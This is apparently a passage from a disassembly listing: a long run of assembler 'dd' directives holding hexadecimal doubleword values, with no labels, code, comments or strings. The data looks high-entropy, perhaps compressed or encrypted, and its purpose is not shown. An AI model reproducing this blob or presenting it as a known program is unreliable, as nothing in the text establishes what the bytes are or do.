		dd 401FB4B3h, 535B422Ah, 0A3A9F74Ah, 0A8C7FDD2h, 0D1CA0097h
		dd 0A1BBCE0Dh, 40B5AE7h, 0E2F5E1FFh, 5101565Ch,	0B58910DAh
		dd 0A32AED65h, 0AFE2887Fh, 21C09B4Dh, 1233CB26h, 0E32D419Dh
		dd 637B8D00h, 0EA244025h, 0DC2A9C60h, 820C513Eh, 29782F58h
		dd 0DD97C142h, 0BF2A472Eh, 4F893010h, 0B9761FCh, 0C07DCD05h
		dd 0B8759B85h, 8092A605h, 6C8C8F37h, 7950324h, 6BA4707Fh
		dd 9447E5A8h, 85039A00h, 0E7802396h, 1B0297BAh,	0EE56F8F5h
		dd 0D4014D8Bh, 8E07F45Eh, 7D2D72C1h, 21908D17h,	0BFA59D0Bh
		dd 1FB49794h, 5968FB2Fh, 1E4F181Ch, 0C27B9926h,	66629288h
		dd 5A008466h, 96B4EF9Eh, 21E293Ch, 45F0E4EEh, 317E3A5Ch
		dd 0BBC41B40h, 0D3040166h, 5B21109Fh, 33017F50h, 310F17B1h
		dd 0DC6CB86Fh, 0ED2EB880h, 0BD61392Ch, 9FF4ED74h, 0FD92B964h
		dd 429A8B9Dh, 14C55FD4h, 8A1CE3Fh, 0ED644BAFh, 3DEBF33Bh
		dd 6CBC4B67h, 0B3058B8Eh, 7B99AAF9h, 7B106A2Fh,	0F27AA908h
		dd 19542709h, 0EDA86152h, 4A9655F2h, 45B4CDBDh,	0F8E8C26Ah
		dd 48D7C342h, 92FDE9B3h, 0DB80124Ah, 826BAA73h,	62001B23h
		dd 1F1A610Dh, 937A0280h, 0E58BF66h, 0D16A6A5Ch,	259DB504h
		dd 0BCE9E4D0h, 43EB2F7Ch, 0FA1C1B85h, 0C11AF87Bh, 8F56EA37h
		dd 69357552h, 0A076B40Fh, 67EEF362h, 779EA2A8h,	2989E5E9h
		dd 1359BCFAh, 0AA2D2228h, 62847025h, 0BAC1BCCh,	0E2E6E384h
		dd 46D6AF5Ch, 5272001Ch, 0F537B66Dh, 4CAA020Dh,	2111BD01h
		dd 937FCCD5h, 57A158C5h, 0F8EEAA02h, 80374B50h,	962E62F5h
		dd 0B8520160h, 3B023893h, 8030285Bh, 5E1D0372h,	0A48F0351h
		dd 35A14728h, 565061C8h, 390181A6h, 19171E70h, 0CC6A965Bh
		dd 2CFC3406h, 3BDDDC00h, 0F8113808h, 0A1351C1Dh, 7279655Bh
		dd 4493D300h, 76948C1h,	2FDD286Ah, 0B8A4F477h, 214D5F9h
		dd 3EC05568h, 0B7466077h, 6D4A9F8Ah, 64753862h,	78AA58F7h
		dd 8C44772Fh, 48859516h, 0FC3253FAh, 7608209Eh,	9F7EFD5Bh
		dd 8B6E8516h, 0B783B4FFh, 5E904127h, 0E1BB81C9h, 0E8701F45h
		dd 558A09E9h, 0CA5CA698h, 0A3BFE802h, 6C446951h, 3B63B52Dh
		dd 98A912ACh, 482EA7BCh, 0C909C91Fh, 0E9BB7130h, 493156D0h
		dd 13992A3Fh, 4E40CE6Ah, 0A66ACAA1h, 40BEF228h,	0B7E5093Fh
		dd 0FB009F44h, 0D4F7D963h, 8A9F2Dh, 0EAEC132h, 0D5B509A3h
		dd 5F042394h, 7BAB46E9h, 0EE0901CCh, 0C03AEC9Dh, 0A88486BAh
		dd 0D4F99531h, 0D9DABFDDh, 98C17F8h, 0CB883B5Dh, 2C315422h
		dd 0BB42DB6Fh, 95ED70CBh, 0D56BEE94h, 0EB75F4Ch, 5F754080h
		dd 0BF3E7AADh, 8F1E9A04h, 3A11642h, 26415031h, 0F21DA772h
		dd 5B532561h, 29090197h, 0B4B7731Dh, 0D3DEA8C6h, 9D8A9981h
		dd 0E3082A30h, 463352Eh, 0C0B35C6h, 90DA6696h, 69770FF0h
		dd 0F455D9Dh, 1206B387h, 6FAA1C8Dh, 4017218Eh, 0C7BFCB4Fh
		dd 1451A112h, 885667E7h, 507A17B0h, 0A587DD19h,	36622DAEh
		dd 0FA499517h, 0DD145892h, 0B780BB3Dh, 74153276h, 0A3D82DACh
		dd 0B249B54h, 0BF097849h, 6F004D4Eh, 8DC41582h,	9CFF2D34h
		dd 10D10BD2h, 134D1457h, 902D359Dh, 0C4CFD376h,	0EEB30997h
		dd 0F7530373h, 0B9ADEC1Eh, 166131F8h, 75EE1102h, 71E1219Dh
		dd 9E9ACA2h, 89730DF9h,	3D3B52Dh, 35BF3BB6h, 9111888h
		dd 1F4B4490h, 4818E88h,	0ECDCDDC7h, 0D19DAA46h,	52A87C7Dh
		dd 0C1CEB601h, 24B734B2h, 0D4C6212Ah, 98ACE806h, 9160B39h
		dd 82777FE4h, 5C2F7C1Dh, 17A968A7h, 404DF211h, 0B4859BDh
		dd 8D09A064h, 741F5E7Dh, 0B9DFDABh, 0D7F0A6BFh,	0FC5C2342h
		dd 0C0DA6D2Dh, 0DB0591EDh, 4E90DD13h, 528CD1F0h, 17624724h
		dd 0F6400E1Eh, 3B973435h, 97887662h, 3FE35F14h,	8CC1ECDEh
		dd 387FA5Fh, 0A3594B6Dh, 44962D8Bh, 1331007Bh, 0D62B1CCCh
		dd 4C1336A1h, 97F1FA87h, 14F0ED36h, 70C59E53h, 0E3FE1FC1h
		dd 0C07302E6h, 71F25269h, 49D450Fh, 910B1F3h, 287B805Bh
		dd 9D4EA7D2h, 189176B5h, 76213880h, 2B977774h, 6A4DD5ABh
		dd 572732E0h, 0DFF114A0h, 0E70AF3C7h, 4553CA21h, 0D56B8357h
		dd 9995CFE6h, 282EF5B1h, 81883AA2h, 0DC4B08EBh,	0D4CB27C5h
		dd 61FE0755h, 0B7550BC6h, 3B31814Ah, 3B37662Ch,	0D51581C2h
		dd 0B5AF7A6Dh, 0F684180Fh, 5F820B2Dh, 40E99C41h, 8F253912h
		dd 7F082800h, 994CC8Bh,	6DE051h, 3599186Ch, 0E976E705h
		dd 0E0856AF1h, 0C9DDC8h, 70903F96h, 0C6D9A02Fh,	729AFD00h
		dd 0C18B4658h, 831A97F8h, 0AB009DF9h, 0B6E514E2h, 9070003Fh
		dd 2739BF51h, 5F5B1B0Eh, 7A1F7B84h, 0D8B5B2E8h,	0D46DB796h
		dd 0ACCC43C0h, 0C27D00F0h, 296D9072h, 0A99DA1B5h, 78E2F387h
		dd 7E00C701h, 0F0522747h, 902C95A3h, 0BB18B697h, 88FAB779h
		dd 11850F17h, 300003E7h, 46CA9AE5h, 0DB059779h,	0C0F71507h
		dd 1DAD9B03h, 823A1331h, 0DCFDA805h, 0AEE13CD2h, 7A890E82h
		dd 0E65F63F4h, 3DC0F91Dh, 48B405B9h, 0C4DBC3E2h, 4A97A874h
		dd 0CBE14EA6h, 9232035h, 4812A40h, 84E5ACDFh, 0E8FED434h
		dd 9D0B138Eh, 5DB6C212h, 64311AF2h, 164184E0h, 0EC479BFFh
		dd 8C7805Bh, 3AF48D04h,	2C00AC97h, 0DE782ED0h, 0C107E854h
		dd 5F8BB750h, 59787319h, 137181Ah, 0D5BFE32Bh, 2B8B2949h
		dd 6C4C86B2h, 3126A511h, 3125FCD1h, 889AA32Ah, 9DB54168h
		dd 0C56B0904h, 4FF8B9E3h, 91028F7Bh, 0B2B9138Ch, 5983EE75h
		dd 0A64A381Dh, 3016B23Ch, 0FA09CD4Bh, 0FA798D29h, 8EAD4BACh
		dd 1DB7107Ch, 1EC9B751h, 25132F99h, 3363EC0Dh, 847EB200h
		dd 0D74CE6E5h, 93A13DFDh, 83F79E04h, 0E025A601h, 1352AF5h
		dd 0E9C51D48h, 2E564D3Fh, 0A95A73E3h, 0BB668096h, 0B590C8A0h
		dd 9D08C08Ch, 59137125h, 666DC969h, 8EBC6745h, 6F336E80h
		dd 15E6FCC2h, 806B0F16h, 0E04AE1A8h, 4E5AEAD7h,	9D0847A7h
		dd 0E4531E51h, 0F928BC7h, 0DDF7B089h, 0DBB58905h, 69EBE85h
		dd 0A1F2499Fh, 29179E5Eh, 0CA4AFCECh, 35EE3462h, 0F87F0CCDh
		dd 6EE5C039h, 78DB29D3h, 26B070A1h, 251970E6h, 6D237C52h
		dd 49C51A24h, 7B244756h, 0BA6BD185h, 1D6E8CEEh,	0C12F84A4h
		dd 5E327CE9h, 333D8195h, 0C3A5C9BDh, 2D74362h, 74C82B20h
		dd 5C364038h, 0B209F11Dh, 565FF984h, 0AC761643h, 9B4D213h
		dd 4E493885h, 7E94408h,	6A4FDE9Eh, 2972C417h, 0BD8090EAh
		dd 25861895h, 3A5BDE8Ah
		dd 8CF3F4B0h, 3EE922A5h, 85252E98h, 0C441CE0Fh,	0AB25B988h
		dd 29233A62h, 2212C0DCh, 0F45429AAh, 2CF7C5BDh,	9C19BE5h
		dd 33E9D77Ch, 65081273h, 4EC4259Ch, 0F91E7A00h,	53E14228h
		dd 470500D5h, 15AE1674h, 0B62421F8h, 0B70D3D13h, 2BE5A6ACh
		dd 41EFCA3Fh, 0B9D78EA3h, 6D27BC23h, 0D5A5E0AFh, 9C2C8447h
		dd 0A060B352h, 0F0E8BD1h, 56996B76h, 1C2CC60Eh,	2452E57Ah
		dd 37FC259Ch, 0B2724AEh, 2DF3FC71h, 0C959FD72h,	59B24889h
		dd 0D22B0964h, 5CB0522h, 0B1D26178h, 4BE0FA8h, 0C27A19E9h
		dd 8E9F20BAh, 32002277h, 34B5E429h, 28CD795h, 3B86C719h
		dd 1F4FBDBh, 54A400DCh,	7E316BAEh, 38256589h, 66459044h
		dd 71B0085h, 0AFBA1D5h,	0DD742517h, 0E12A3917h,	91373C2h
		dd 8CA08659h, 532DAD2Dh, 1879A543h, 4BDBD0AFh, 6B7B9D01h
		dd 1882C4DBh, 945CFC77h, 0FB5BD5Eh, 4E6BCD00h, 12299A6Dh
		dd 0E7218D95h, 871EA032h, 96FA026Ch, 149D8D01h,	955A9C55h
		dd 7E55A3C2h, 0AA03DCF3h, 8B2CD93h, 7BEB85B8h, 0AEB84FA0h
		dd 7AAA2BC1h, 26713475h, 0DBD76082h, 0BF3A97EBh, 0D41CDCh
		dd 12582EF0h, 77F694E3h, 2CF566C4h, 0FEE1FF05h,	13D1D304h
		dd 50EA8107h, 614F1236h, 0EACD1497h, 0CC4FBD04h, 0AEC08240h
		dd 0F834251Fh, 1909E8C5h, 833DD704h, 594F1009h,	52FB00F3h
		dd 0F9312C7Ch, 91ED494Fh, 4B7C8190h, 0E1BBBC2Ah, 55D29F86h
		dd 0F740314Fh, 0B78B0F60h, 19253946h, 2FF15B31h, 1143994Dh
		dd 0A7D1E0A3h, 2AD825BDh, 4B936C57h, 83DC84FEh,	128C0D14h
		dd 0E1DDE0B4h, 7957A2Fh, 806A609Bh, 0ECA8AE54h,	3255F9CBh
		dd 0B55544BFh, 0F605E3E1h, 0C18838FFh, 0C9700Bh, 6B41F8B5h
		dd 3D1FADA2h, 0A53ECE21h, 0CB40774Dh, 0FFD56Dh,	53BA7BCFh
		dd 8F13E781h, 52799037h, 0CC11DB80h, 662B008Eh,	686E20BFh
		dd 4A75F653h, 9025B690h, 0AC964022h, 69557BF5h,	9CFFDC89h
		dd 0D47CB487h, 3F0C762Eh, 730D5509h, 670F9F8Bh,	0E9F5D0E8h
		dd 810FBB60h, 2533B4CFh, 70C26ACBh, 8782BD7Fh, 0CFBA5261h
		dd 18DDEFE0h, 399A02E7h, 0BEA7085Ah, 4D0BC64Ch,	847DA11Eh
		dd 9EFB1CB3h, 273CC12Ah, 0B6C0B4F1h, 7D899FACh,	318B7159h
		dd 9F61DD9Dh, 40B63E89h, 11E5FAF5h, 0F517A06Fh,	4AC426EDh
		dd 4C618D32h, 0DB92C964h, 6D952970h, 0F246C9EBh, 0F120C298h
		dd 0D8965A14h, 0DEBD6058h, 0B661C587h, 38A5F176h, 473D5CFAh
		dd 0F9B481B5h, 14352EF6h, 7CB81FB9h, 1351B548h,	3BA319DDh
		dd 0E98FA97h, 0D483BDDAh, 55BEFDA7h, 0D2F818CFh, 34BF9803h
		dd 5F4399CAh, 0D8F63E47h, 458D168Ah, 2D76AA07h,	0B350173Fh
		dd 454FA96Fh, 50202276h, 2D16A8EDh, 9AF5056h, 0D6790EE7h
		dd 298D8504h, 445FA51Dh, 29B89562h, 8A801C29h, 9B3AFFD9h
		dd 5F3880E8h, 0BE31E236h, 43564033h, 0CE38AB7Eh, 620A809Ch
		dd 10B1526Eh, 8E754BA3h, 2BBB093Bh, 49F25101h, 378D2BF7h
		dd 323C8003h, 238C41B3h, 52D36374h, 0C1A11F74h,	0A75FB72Bh
		dd 34BA4211h, 0C688C289h, 27DD1F71h, 2342164Dh,	0F8E4C0ACh
		dd 299E000Ch, 3BABE381h, 0E69E2052h, 37F20EDCh,	9D204F91h
		dd 291E2783h, 0DA45953Ah, 4B2A43A4h, 7E318A38h,	184B0441h
		dd 8B83F932h, 8272BC56h, 7F3291BCh, 202FD7E5h, 567683D0h
		dd 0B07A0777h, 249C0F70h, 0BCD8BF08h, 297521BDh, 0E3400D64h
		dd 1C5F9E8Ah, 0A8054C03h, 0B9B6B010h, 0EE2B96F5h, 53B3BB21h
		dd 346B8B31h, 0C9B0EDA5h, 70035B96h, 0A89DC090h, 6FA7814Dh
		dd 517E6014h, 8801FB2Fh, 8073A60Bh, 854154D7h, 0DD2A203Dh
		dd 0F7813AACh, 283C317Fh, 3E00D58Fh, 0B1E5A157h, 90B8100h
		dd 0F8B33BDEh, 0D8F62D5Fh, 14577AD0h, 609EA054h, 227B0417h
		dd 0BA376F0Eh, 26982320h, 1BEC120Ch, 3D1EE54Ch,	2C60E89Fh
		dd 0A5023E0Bh, 73701362h, 6432EDBFh, 1DE7601Ch,	3D12029Ah
		dd 31A9D603h, 64D2ED77h, 0A286601Ah, 0C9EC0BFAh, 0C982FCA3h
		dd 6B5C1445h, 91646D4h,	0FE09AF38h, 0B6CA3EB0h,	0C66A5BF5h
		dd 7218BF07h, 4CCB305Eh, 0A30BF781h, 0DC6F84B9h, 0AA341279h
		dd 39CC9974h, 0A2EC1Eh,	3247E333h, 8744395Ch, 7E28227Ah
		dd 7970D0F4h, 0ADD95BBDh, 0F4F9FD8h, 6FF9CBADh,	359DC334h
		dd 6C5BA12Bh, 6AFBB5CEh, 16D04ECh, 1FD4559Dh, 0EFDF2393h
		dd 555F5352h, 11D962B8h, 682FFEBDh, 0A83E00DEh,	22C2CDA3h
		dd 5FEF8F00h, 8C8EC367h, 0A18897E6h, 0B950BE86h, 0A8014E19h
		dd 291FE21Fh, 9D095B30h, 26202534h, 0EE93F7ADh,	4E812F35h
		dd 0F23F25B9h, 0E06FB9DBh, 0CA321BA5h, 558B687Dh, 0EAE005F6h
		dd 1B9A8C4h, 12FF82A9h,	2E49B750h, 6981492Ah, 60FB5228h
		dd 8101A527h, 9DC20BD3h, 4628B314h, 0E04AF74Bh,	46914B6h
		dd 7DE3717Eh, 67C1AA03h, 9D2B1D61h, 0B81E2D1Fh,	0B7B979CAh
		dd 0B495B8E4h, 0CFB7BD90h, 0AFF11000h, 922A6C8h, 134418Bh
		dd 0BF81AF71h, 1BE99612h, 4685615h, 0B8A894A3h,	4229B290h
		dd 61DA4A80h, 0CC6E839Bh, 0E9255B11h, 0D362C264h, 490B7094h
		dd 0F18E372Dh, 27698013h, 3DF44354h, 0C9130578h, 146FC18Bh
		dd 79A16301h, 442FC228h, 0B0E8ABE6h, 44A3CD4Ah,	90498890h
		dd 0EE7C87A0h, 349816B8h, 0B6E15F5Bh, 6ADDB42Eh, 78DEDB97h
		dd 3D97390Fh, 48FA00BAh, 0D0B01AF8h, 6ED4A218h,	9510F596h
		dd 41A5ACD3h, 74402088h, 0BD312D7Ah, 0AEE1414Dh, 55D8FE06h
		dd 127A0BC9h, 9270C1DDh, 0B7998295h, 9896895Fh,	0B3169FAh
		dd 659FCEECh, 0FB362955h, 2AB371EEh, 0C27E24AFh, 33F27DA1h
		dd 8175379Fh, 3BA8A69Eh, 85FDDA15h, 2F0434BAh, 42520D1h
		dd 0B9E6D004h, 179AD3BAh, 488EA780h, 0CDA9988Ch, 0A4AD1410h
		dd 8C19A8h, 4FB2CACEh, 2960D6E6h, 21A99510h, 98D9C74Eh
		dd 0D7FF610Eh, 9A1CEC6Fh, 3CFE47BCh, 0BE6C1571h, 4EA06C60h
		dd 36775898h, 25802C40h, 0D6C5B0F3h, 60A95F16h,	6F0050ECh
		dd 0BF55D019h, 5D01E71Bh, 14222466h, 90F80207h,	3A52F2BBh
		dd 0DEEC7F5Dh, 22EB59Dh, 0C293F10Ch, 0F91222ECh, 0CDE396E9h
		dd 122D8484h, 50055A2h,	67A8921Eh, 0AEDE72F2h, 4FB92452h
		dd 0D35790C5h, 0B40F5F2Fh, 72DF45BFh, 0CB00D66Fh, 896FC0C9h
		dd 0B67515E4h, 78C4AF5Ch, 22600D40h, 0DE0109E9h, 2F158FC8h
		dd 87F9B9FFh, 0E8E380FCh, 91851203h, 6F1F5C19h,	80551256h
		dd 0CAEF143Ch, 6008D799h, 868F8D6h, 331D29EDh, 5C196189h
		dd 8EB57254h, 81C1B7ACh, 0E7DC82CBh, 0F560052Ch, 0BFB50352h
		dd 615FDDD1h, 0F878D96Ah, 0B58413D1h, 149DBF50h, 4DB70035h
		dd 226C6FFDh, 0B24BD189h, 8D23EE80h, 0E2335BD5h, 56992557h
		dd 0B45EF65Ch, 8B12CCA3h, 2216F6D9h, 1BF01E2h, 0F94AB4C1h
		dd 0E58C3BB0h, 8084047Bh, 0BC727A29h, 1FF92114h, 0BB112341h
		dd 0AAE78180h, 3D4B5C37h, 2C8015C8h, 24CAE1CFh,	19590992h
		dd 35A00178h, 92971639h, 0E8A60F01h, 0EF81001Eh, 38FFFB78h
		dd 0F75C2B60h, 16769890h, 4D18B6Fh, 21F1C3h, 0E95FF556h
		dd 4012BC74h, 3C713F87h, 4C7168B8h, 0C2DC9890h,	6219762h
		dd 0D24ED8Dh, 0D04482Eh, 0B78E58A7h, 0D9B86813h, 294A0C71h
		dd 0F9891BA9h, 31618B54h, 0DD34A185h, 0A949761h, 1C4E4792h
		dd 0FAB65EA8h, 3198A590h, 0D9315D81h, 4575CE41h, 0AB880443h
		dd 0F059B630h, 4E53C2A4h, 468F880Ch, 1D19520Eh,	98FE012Ch
		dd 9483669Dh, 5F9C95E7h
		dd 0E906840h, 0CCAD6089h, 0EA82755Ah, 0D586EAD5h, 0E1F75F32h
		dd 0B9010DC9h, 7E9125D2h, 0B0AC89F9h, 0E23F8B38h, 5E021D7Ah
		dd 0F2B5C920h, 5BEF0B80h, 949EF48Eh, 2921402Dh,	0E1049C09h
		dd 0C06AF1E5h, 1A708AFh, 75FCF889h, 550030B7h, 1CF8DAC2h
		dd 267F7057h, 9E6074Bh,	0DF59224Ah, 2505BA14h, 0BB37E7F9h
		dd 2D059D89h, 0D43D75h,	0E0B88F35h, 70B85F70h, 60AE7D4Ah
		dd 959D2916h, 7E27089Ch, 5C2F5597h, 0EEBB6001h,	174A0364h
		dd 0D0DD36A9h, 2C01E820h, 860685B5h, 42EFEB81h,	40201A5Fh
		dd 256448D6h, 0BBC5B1E8h, 5B38BC1Ch, 0C2BCC4ADh, 0E3964502h
		dd 985D2238h, 998D0FDEh, 54F32FFDh, 0B0F5BD0Fh,	5AFDF050h
		dd 0B508A81Dh, 0EEA772B6h, 0EC701564h, 0CF793FD6h, 3DC01CA8h
		dd 353495DBh, 2D523200h, 63E9B15Dh, 8AB20E47h, 92447E77h
		dd 4551BC60h, 0D4420F0h, 0FF4EE12h, 0B7E1E609h,	0C25A8232h
		dd 0CB8584F9h, 6A88FB09h, 30A125E7h, 8810E4C5h,	8278DAD3h
		dd 40E37785h, 950F355Ah, 7212CFC7h, 25F929EFh, 0EFCD155Dh
		dd 5C200A09h, 41D70BDh,	0D0C9D39Dh, 8074E9A0h, 0CD60F125h
		dd 3987C0B7h, 0AF1F260Dh, 0C0ADDAF7h, 811C5DAAh, 0BB42A5Fh
		dd 0B55198D3h, 5569B44Fh, 4805E472h, 8CEB80C6h,	0AE8020A8h
		dd 9EAB6E4Dh, 0C9D30E00h, 0A8F896D8h, 315D02ADh, 51ECA2B8h
		dd 3293F45Ch, 2D9B9C52h, 0C2A7E083h, 4164FFF8h,	0BD2BDF04h
		dd 6A40A99h, 9C2BE9E1h,	5C95F5D9h, 389CD409h, 22DB54C1h
		dd 0B4DF813Ah, 16812A36h, 0DB2F50FAh, 166DC0E0h, 0A92EC35h
		dd 4F8A3AFEh, 948113DFh, 0BCDBBD54h, 0D7D2DFDh,	8DC8A6DEh
		dd 53D08h, 5B69E468h, 0D84B8B2Fh, 6A1B28C0h, 7E36F344h
		dd 0BADBE0F7h, 1E2D7B33h, 593D5388h, 0DB181Dh, 0B00618B3h
		dd 0D980D4ACh, 5DBBE61Eh, 790D79C9h, 2099A04Bh,	0E9251199h
		dd 0D1A15FBDh, 2F2051EFh, 40B24935h, 339D7F00h,	0C11113C4h
		dd 8FD29338h, 0BEE00DFBh, 5F32E2A5h, 0D4600FCFh, 5B5BE999h
		dd 4A42E3F5h, 19B2BEB6h, 0BFD2F30h, 13D27A89h, 2D028D51h
		dd 0C0FB6A5Ah, 49BD29C7h, 5F2D74B1h, 9E0143E4h,	437879D1h
		dd 2BC88238h, 5BFE258Ah, 6DADE273h, 9CDB4143h, 0B9E8881Bh
		dd 3722614h, 7D5B531h, 0DD24F97Eh, 7752CB2Bh, 0D601CFE2h
		dd 2FBCF2E3h, 7CE76E1Ch, 6050407Fh, 450532B9h, 38B12779h
		dd 0A97F17FEh, 11ABC15h, 8F501CE3h, 7F43EAADh, 160B05CCh
		dd 0B921459Dh, 0DF81C05Bh, 4BBC7EB4h, 231CA33h,	1684D0BBh
		dd 98E65752h, 57A7B124h, 0C36FDA01h, 202F5BD6h,	94ECBF37h
		dd 6F60C1F1h, 39B39A88h, 0BE806144h, 0E09FA3F2h, 0A63D4BD1h
		dd 8223D859h, 5358FA8Ah, 0E07D726Ch, 586D1707h,	112BF69h
		dd 0F5D39122h, 6C702F2Bh, 11E38053h, 4505B12h, 3145BD09h
		dd 0D635EDh, 751E5CB4h,	0AEC6F947h, 27534D85h, 0BA5416B3h
		dd 50E2DB7Ah, 6804DCE9h, 15749C26h, 5609FCD7h, 0AF507136h
		dd 0DEC2F638h, 0E5B70804h, 5DF748E9h, 0D5CDBCB0h, 679BDF00h
		dd 86D45A8Fh, 34034852h, 5B4B0E20h, 19F840DAh, 899FB68Ch
		dd 0AF0249A2h, 3DF70EF1h, 5D6000B3h, 0EBBA6306h, 32CA134Bh
		dd 0F851D032h, 0C29F0745h, 0D13A53ADh, 2091C105h, 344A32DDh
		dd 1656168Ch, 0B95B1CB7h, 63A6D606h, 384B03A0h,	258BFBB7h
		dd 0A3F53FA0h, 50021008h, 0FD623393h, 456E551Eh, 40DBCDBDh
		dd 0B4AAC5C4h, 0EE96E324h, 25205108h, 29DDE382h, 9249920Ch
		dd 506125E7h, 0F9009AE4h, 0EB3224F2h, 47B91CBh,	3A5081D4h
		dd 46D1D6ECh, 51B95495h, 3D522FF5h, 33D7AAFh, 8D6116B1h
		dd 0D13B828Fh, 0F7E500ADh, 0B292F890h, 0A02DE702h, 0B97EAF37h
		dd 0FA1008ACh, 49041A83h, 38450480h, 0BD5160AEh, 969733C9h
		dd 136D9712h, 0D3353740h, 2B894CFEh, 44991F16h,	0E36F9E7Bh
		dd 0EFC34AA4h, 0F89D40Fh, 0B203236Eh, 5F3632A8h, 0B4A16400h
		dd 0F21C370h, 4EC09C7h,	0E7707BF1h, 1D8D310Bh, 1F165502h
		dd 18607EADh, 0A0E8F3A9h, 8BEC43h, 6650DD1Bh, 2D8FD053h
		dd 7AEB800h, 2F4BE88Eh,	9CD70F81h, 1253AB9Bh, 2BE0B111h
		dd 0DA8030DEh, 0FF05FD93h, 242ABF48h, 0F62B4C5h, 0FA45F58Fh
		dd 3236AF00h, 1DAAED5h,	6B20F3DCh, 2E916E13h, 0B04E22AAh
		dd 50624B4Ch, 508E55Ch,	34DDFE5Fh, 4D3937Ch, 926093Dh
		dd 67525796h, 0FF2F8B97h, 665DC592h, 3D590099h,	0A469AAD8h
		dd 0E5005712h, 4BEC5CD7h, 6DBBA33h, 0C41EBB66h,	96623E61h
		dd 5CF14110h, 1846D64Eh, 7F2F9502h, 0F7C142E8h,	4AAB6C6Dh
		dd 0AA5AA8h, 8EF74345h,	25E6DB18h, 947CFF6Ah, 0C725122Ch
		dd 0E8381245h, 0F089DAB3h, 0B6E1505Eh, 2EF3B734h, 73BF9B78h
		dd 56ED095Dh, 88D7C49Ch, 7408A287h, 1646DC22h, 0B7EE83Ah
		dd 0F91BD01h, 0C0803A55h, 8120D97Ah, 2B3749FCh,	79218309h
		dd 4ECD6B03h, 7C02E240h, 3FA8FEFCh, 24A59D01h, 8728756h
		dd 0AF04AE1Ch, 0E7B8F9A1h, 0D22BB0D7h, 0B0C68F20h, 0AD739C4Ah
		dd 0B5F616FEh, 0EC806F53h, 8994E482h, 225920B5h, 0C26EE925h
		dd 0BE5855FCh, 9589C10Fh, 0E7BCD78Dh, 0A65AB291h, 3019B2DCh
		dd 0BA0B479Bh, 183F91C7h, 788785Eh, 55CE827Eh, 15FEF081h
		dd 0AA4C7D48h, 20A94A04h, 93A59B4Bh, 26C30BBh, 3A2F94A7h
		dd 184B708Ah, 0F83760D3h, 0CDB76ADFh, 5618E2A7h, 7DB92277h
		dd 0C95900Bh, 0BD314A3Dh, 6E235EEBh, 0A4134405h, 60502690h
		dd 0D3BB6097h, 820087E4h, 6D3AB33Dh, 0A66ECEh, 0DE39E678h
		dd 44EFEEABh, 0CA616038h, 0FE8B36C0h, 45ED9790h, 805CAAC0h
		dd 52C295CBh, 6286C7B7h, 2D3C1DA4h, 0F4FEDA8Ah,	0A1EF90C9h
		dd 0A0C07EB9h, 975A8480h, 0B5319B18h, 31B92EE3h, 0BCD3704Ch
		dd 9F18C07Eh, 2C11BCFh,	0DC72675h, 0E17517F4h, 0B05029F6h
		dd 12BFBE66h, 0E25B6194h, 17938E5Eh, 86E803E9h,	0E7626D00h
		dd 25FD735Dh, 4EC000BBh, 26A4065h, 7495F88Bh, 0C1624019h
		dd 270E6FFEh, 20C541CAh, 0A63C8501h, 10F8E7EEh,	0A9F32C93h
		dd 5B886049h, 0D3034301h, 66E0DE2Ch, 0A21D7E3h,	0FDEBAE4Fh
		dd 0C2A6DEBAh, 60B06A41h, 161A43E6h, 8431F989h,	1ACD999h
		dd 11975A6h, 382E85E9h,	3D411692h, 26B8C429h, 0D15D0D07h
		dd 0A4E1B13Eh, 6E2F184Fh, 0C9D80027h, 2B41F427h, 5D3D4F9Dh
		dd 1BC58B6Ah, 735A205Ch, 0DC555252h, 0D98BC122h, 0B0B26B2Bh
		dd 0F98A900Bh, 0C13C6478h, 0B5010477h, 28AE2365h, 0DE4B8B91h
		dd 0BA698A89h, 0FBE2ECE8h, 0AF7D9700h, 0DC8A5FC4h, 658D1601h
		dd 192DAA15h, 0D3C0310Fh, 0CF210316h, 0B86C0D0Dh, 0B02BF866h
		dd 129704E4h, 5190D7A9h, 0C005783h, 0E738CECFh,	0B67E4B3h
		dd 0B215088Eh, 1AA6BF01h, 61222F8Bh, 1DAA5C58h,	2649FC35h
		dd 0E9B26FE9h, 0CDCE0A02h, 0AB5CC13Fh, 134C2h, 31BE381h
		dd 4B09F120h, 6FD5AB8Bh, 651210ABh, 0F08BEF54h,	0CDFA44h
		dd 58D70167h, 3B7BFE35h, 0E4537E0Bh, 51F171h, 5119DE37h
		dd 73006670h, 0DC81A85Ch, 97901180h, 52F0C824h,	0D6002CF2h
		dd 0C789C4Ah, 971B1Eh, 0CBADBBD4h, 0BA181211h, 0CEA59C06h
		dd 0ECD50800h, 0AC128332h, 0D7E6003Eh, 95D1A227h, 7F121822h
		dd 0E9E0911Bh, 88B022BFh, 59BD3308h, 0CA206C29h, 5C2BC839h
		dd 31551008h, 0F8D18B13h, 8CFBC008h, 0FA5298FDh, 7DBB3F91h
		dd 561F8AB3h, 46424616h, 4AA5DC5h, 0B8F949B0h, 34FD4BE2h
		dd 80498688h, 2D424EF2h
		dd 0A02AD326h, 5F4B15D2h, 2B1DF292h, 64501855h,	806E0040h
		dd 8F8E04F3h, 849728FBh, 0B057422Fh, 0EE951D96h, 0BD033F03h
		dd 27950B23h, 0F05224Dh, 0D915C7BFh, 0C208BD52h, 1224A985h
		dd 9807508h, 0FD73A0C6h, 30BD5A04h, 0C7F99BFAh,	0A3D119AEh
		dd 0C07EBAB4h, 35B3F836h, 199232B9h, 0B9C215BDh, 1A7E10C3h
		dd 0CC14A5BBh, 0D487BCBDh, 3900CF7Eh, 221B9A3Ch, 25B7126Eh
		dd 0DB5BFC7Fh, 2D33B70h, 3160D564h, 0FA4921BDh,	3D55C2B8h
		dd 0C5608532h, 0F098BFBEh, 1591208Dh, 4DBD2316h, 0D22B0445h
		dd 95783CE8h, 53A512EFh, 0CD395023h, 11E922h, 356B829Dh
		dd 0B3AE4CAFh, 0C5E5FD01h, 8EE42CE1h, 335A0FEDh, 0AB43ABC5h
		dd 7B143D09h, 0DE311E04h, 0C94EA1A9h, 0A8E071DFh, 0F36FEF0Eh
		dd 718CA4ECh, 0D69A0019h, 9DF4E3B2h, 3705FCAAh,	0B8E5DEEBh
		dd 0A3E078A6h, 0D20454B8h, 0FA8A433Dh, 87A200BCh, 8F2A3D77h
		dd 29C1E432h, 2A820FF9h, 478BC5F8h, 541C2B55h, 0B700F44Fh
		dd 4BC4ABBCh, 0B8D2DC6Bh, 399D13A1h, 8E2CEE06h,	0DD084BB9h
		dd 0FFDB7026h, 0C0B7E14Ch, 0D11384DCh, 88620214h, 56D0B5E8h
